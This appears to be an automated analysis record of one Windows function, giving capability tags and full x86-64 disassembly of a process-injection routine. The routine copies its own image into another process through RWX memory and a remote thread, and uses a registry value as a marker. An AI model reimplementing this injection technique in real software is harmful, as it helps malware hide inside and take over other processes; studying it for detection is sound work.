Function at 0x1400150e0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate threads
Inject thread
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x128
mov rax, qword [0x14017d080]
xor rax, rsp
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWARE
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0xec], 4
lea rax, [rsp + 0xec]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x18
lea r8, [0x14005f570]
xor edx, edx
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov byte [rsp + 0x40], 0
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x140015246
mov dword [rsp + 0xf0], 0x1c
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x48]
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x14001523a
mov eax, dword [rsp + 0xf0]
cmp rax, 0x10
jb 0x140015219
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x78], rax
lea rdx, [0x14005f580]
mov rcx, qword [rsp + 0x78]
call fcn.140010490
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x80]
call fcn.140014f90
cmp dword [rsp + 0xfc], eax
jne 0x140015219
mov eax, dword [rsp + 0xe8]
cmp dword [rsp + 0xf8], eax
jne 0x140015219
mov byte [rsp + 0x40], 1
mov dword [rsp + 0xf0], 0x1c
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x48]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1400151bb
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x14001526d
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400072e0
mov eax, dword [rsp + 0x60]
jmp 0x14001542a
call fcn.1400265c0
nop
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x88]
call fcn.1400103f0
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.140014f90
mov r8d, eax
xor edx, edx
mov ecx, 0x2a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0x50]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140015339
mov dword [rsp + 0x64], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400072e0
mov eax, dword [rsp + 0x64]
jmp 0x14001542a
mov eax, dword [rsp + 0x44]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x138]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.yogiko
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
cmp qword [rsp + 0x98], 0
jne 0x140015405
mov dword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400072e0
mov eax, dword [rsp + 0x68]
jmp 0x14001542a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400072e0
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.14002baf0
add rsp, 0x128
ret